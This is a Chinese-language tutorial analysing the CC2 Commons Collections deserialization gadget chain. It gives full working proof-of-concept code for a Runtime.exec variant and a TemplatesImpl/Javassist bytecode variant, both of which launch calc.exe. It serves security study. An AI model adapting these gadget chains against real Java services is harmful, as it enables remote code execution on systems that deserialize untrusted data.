Java反序列化漏洞分析:CC2链详解
前言
CC2链是Apache Commons Collections反序列化漏洞利用链中的一条重要链,本文将从基础概念到具体实现,详细分析CC2链的原理和利用方式。
基础知识
CC链简介
CC链(Commons Collections链)是基于Apache Commons Collections库的反序列化漏洞利用链。P神的Java安全漫谈中建议的学习路线是先学CC6,因为CC6提供了CC1在高版本下的解决方案。但为了加强分析能力,我们可以按顺序学习。
CC2链调用链
CC2链的基本调用链如下:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
核心类分析
PriorityQueue类
PriorityQueue是基于优先级堆的无界优先级队列,其中的元素按照自然顺序或Comparator进行排序。
readObject()方法分析
PriorityQueue的反序列化过程从readObject()开始:
- 调用默认的读入方法
- 调用readInt()读取数组长度
- 检查读入流数组长度是否超过预期
- 创建Object类数组
- 将反序列化数据流中的元素存入queue数组
- 调用heapify()进行重新排列
heapify()方法
heapify()方法实现了堆排序:
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
siftDown()方法
siftDown()是堆排序的核心算法,将堆转换为最小堆:
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
TransformingComparator类
TransformingComparator是CC2链的关键类,位于org.apache.commons.collections4.comparators包中。
compare()方法
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
这里调用了this.transformer的transform()方法,而this.transformer是我们可以控制的变量。
初版POC分析
基本结构
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer chaintransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chaintransformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.offer(1);
queue.offer(2);
问题分析
在添加第二个元素时(queue.offer(2)),会从offer()函数进入siftUp()函数,直接调用comparator.compare()方法,导致命令在序列化前就执行了。
改进版POC
解决方案
通过反射在序列化后设置comparator:
PriorityQueue queue = new PriorityQueue(1); // 不传入comparator
queue.add(1);
queue.add(2);
// 反射设置comparator
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
完整POC
package org.example;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer chaintransformer = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(chaintransformer);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
// 序列化和反序列化
try {
FileOutputStream filepath = new FileOutputStream("./CC2.ser");
ObjectOutputStream object = new ObjectOutputStream(filepath);
object.writeObject(queue);
FileInputStream filepath2 = new FileInputStream("./CC2.ser");
ObjectInputStream input = new ObjectInputStream(filepath2);
input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
调用方式2:TemplatesImpl利用链
调用链差异
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Java字节码加载机制
字节码定义
Java字节码(ByteCode)是Java虚拟机执行的指令,存储在.class文件中。
URLClassLoader
URLClassLoader是AppClassLoader的父类,可以从URL指定的位置加载类:
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("Hello");
c.newInstance();
ClassLoader#defineClass
ClassLoader加载类的三个关键方法:
loadClass(): 从已加载类缓存、父加载器等位置寻找类findClass(): 根据基础URL指定的方法加载类的字节码defineClass(): 将字节流转换为Java类
TemplatesImpl类分析
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类可以动态加载字节码。
关键调用链
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
关键字段
_bytecodes: 字节码数组_name: 任意非null字符串_tfactory: TransformerFactoryImpl对象
字节码要求
加载的字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。
Javassist库使用
Javassist是一个操作Java字节码的库。
关键类
ClassPool: CtClass对象的容器CtClass: 表示class文件
示例代码
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.classloader.TemplatesImplEvil.class.getName());
byte[] code = clazz.toBytecode();
TemplatesImpl链POC分析
ysoserial实现
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
queue.add(1);
queue.add(1);
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
关键点
- 初始设置
toString方法,后通过反射改为newTransformer - 修改queue数组的第一个元素为templates对象
- templates对象包含恶意字节码
完整TemplatesImpl链POC
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class POC2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
// 反射设置comparator和方法名
try {
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
Field field1 = InvokerTransformer.class.getDeclaredField("iMethodName");
field1.setAccessible(true);
field1.set(invokerTransformer, "newTransformer");
} catch (Exception e) {
e.printStackTrace();
}
// 创建TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
// 创建恶意字节码
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass poc = pool.makeClass("Poc");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
poc.makeClassInitializer().insertBefore(cmd);
String RandName = "POC" + System.nanoTime();
poc.setName(RandName);
poc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classbyte = poc.toBytecode();
byte[][] trueclassbyte = new byte[][]{classbyte};
// 反射设置TemplatesImpl字段
Field field2 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")
.getDeclaredField("_bytecodes");
field2.setAccessible(true);
field2.set(templates, trueclassbyte);
Field field3 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")
.getDeclaredField("_name");
field3.setAccessible(true);
field3.set(templates, "Ho1L0w-By");
Field field4 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")
.getDeclaredField("_tfactory");
field4.setAccessible(true);
field4.set(templates, new TransformerFactoryImpl());
} catch (Exception e) {
throw new RuntimeException(e);
}
// 修改queue数组
Field field5 = PriorityQueue.class.getDeclaredField("queue");
Object[] queueArray = new Object[]{templates, 1};
field5.setAccessible(true);
field5.set(queue, queueArray);
// 序列化和反序列化
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC2.ser"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC2.ser"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
总结
CC2链展示了Java反序列化漏洞的两种利用方式:
- 通过PriorityQueue和TransformingComparator直接调用Runtime.exec()
- 结合TemplatesImpl动态加载字节码实现更灵活的利用
关键点在于:
- 理解PriorityQueue的反序列化过程
- 掌握TransformingComparator的比较机制
- 熟悉Java动态加载字节码的原理
- 能够构造符合要求的恶意字节码
这种漏洞利用方式展示了Java这种强类型语言通过动态特性实现的高度灵活性,同时也带来了安全隐患。